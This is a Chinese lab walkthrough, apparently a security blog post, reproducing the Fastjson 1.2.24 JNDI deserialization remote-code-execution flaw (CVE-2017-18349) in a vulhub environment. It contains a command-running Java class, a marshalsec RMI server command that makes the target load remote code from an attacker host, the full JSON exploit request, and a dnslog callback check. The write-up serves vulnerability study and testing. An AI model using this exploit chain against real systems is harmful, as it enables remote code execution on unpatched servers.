作者: 村里的小四
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
影响范围:Fastjson1.2.24及之前版本。
3.1.1 靶场环境
vulhub靶场环境:CVE-2017-18349
3.1.2 靶机:
Ubuntu20.04 ip:192.168.182.128 作用:搭建web服务器和RMI服务,nc接受反弹shell
kali ip :192.168.182.129 作用:靶机,基于vulhub漏洞集成环境运行靶场容器
win10物理机ip:192.168.43.189 作用:使用burpsuit发送POC测试
3.1.3 踩坑点
如果靶场环境启动不成功,以下两个方法供借鉴
更改docker源为国内源
使用root权限重启docker
为了能成功的利用fj1.2.24(以下简称fj24)反序列化漏洞,需要提前在Ubuntu20.04虚拟机(可自行选择主机系统)上搭建Web服务和RMI服务,通过win10物理机向fj服务器POST提交Poc后,使得靶机访问远程RMI服务,随后RMI将请求重定向到Web服务器后存放在Web服务器中的恶意Java代码(已编辑的反序列化类),从而成功实现远程命令执行。
ubuntu20.04虚拟机生成一个带命令执行的类(或在物理机生成传入),需要安装Java环境(Ubuntu20.04默认存在jdk1.8版本)
新建一个Java脚本,命名为TouchFile.java,将想执行的命令写入代码中,并进行编译。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/successs"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译代码如下:
javac TouchFile.java
python2.x执行命令为
python2 -m SimpleHTTPServer 8000
python3.x执行命令为
python3 -m http.server 8000
踩坑点:win10物理机ping不通虚拟机下的ip,我虚拟机以前的网络配的很乱,VM网络还原默认配置,这个问题就解决。
使用Java反序列化利用工具marshalsec辅助开启RMI环境,需要下载marshalsec、mvn。
下载marshalsec:git clone https://github.com/mbechler/marshalsec
下载maven:apt-get install maven
查看mvn版本
mvn -v
我的mvn版本是:3.6.3
踩坑点:一般用默认的mvn的源创建项目都会失败,我win10Ubuntu20.04都试过失败,把源换成国内源,我用的是阿里云的源。
maven 大多数情况下得换源,不换源一直都是build false。
Ubuntu修改maven源地址教程:https://blog.csdn.net/weixin_33849942/article/details/92348061
进入marshalsec目录,执行mvn clean package -DskipTests 编译生成的marshalsec的jar包。
进入target目录,借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.182.128:8000/#TouchFile”
物理机访问靶场URL http://192.168.182.129:8090/,使用bp发送构造数据包
POST / HTTP/1.1
Host: 192.168.182.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.182.128:1099/TouchFile",
"autoCommit":true
}
}
运行payload,成功后,服务端响应码500。
在监听端口查看到已建立连接。
进入靶机查看命令是否执行成功,输入命令进入fj环境容器执行bash:
踩坑点:查看容器id
docker pa -a
列出容器:
docker ps
docker exec -it 7f8b773067b8 /bin/bash
修改TouchFile.java代码进行编译,进行dnslog访问。
踩坑点:注意 python3 -m http.server一定要在TouchFile.class目录下监听!!!不然监听不成功
TouchFile.java某一部分代码改成如下:
String[] commands = {"ping", "bvgngj.dnslog.cn"}
使用bp抓包加载payload,成功解析dnslog域名:bvgngj.dnslog.cn
FastJson漏洞是今年来爆出的高危漏洞,修复建议是将FastJson更新到最新版本。
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!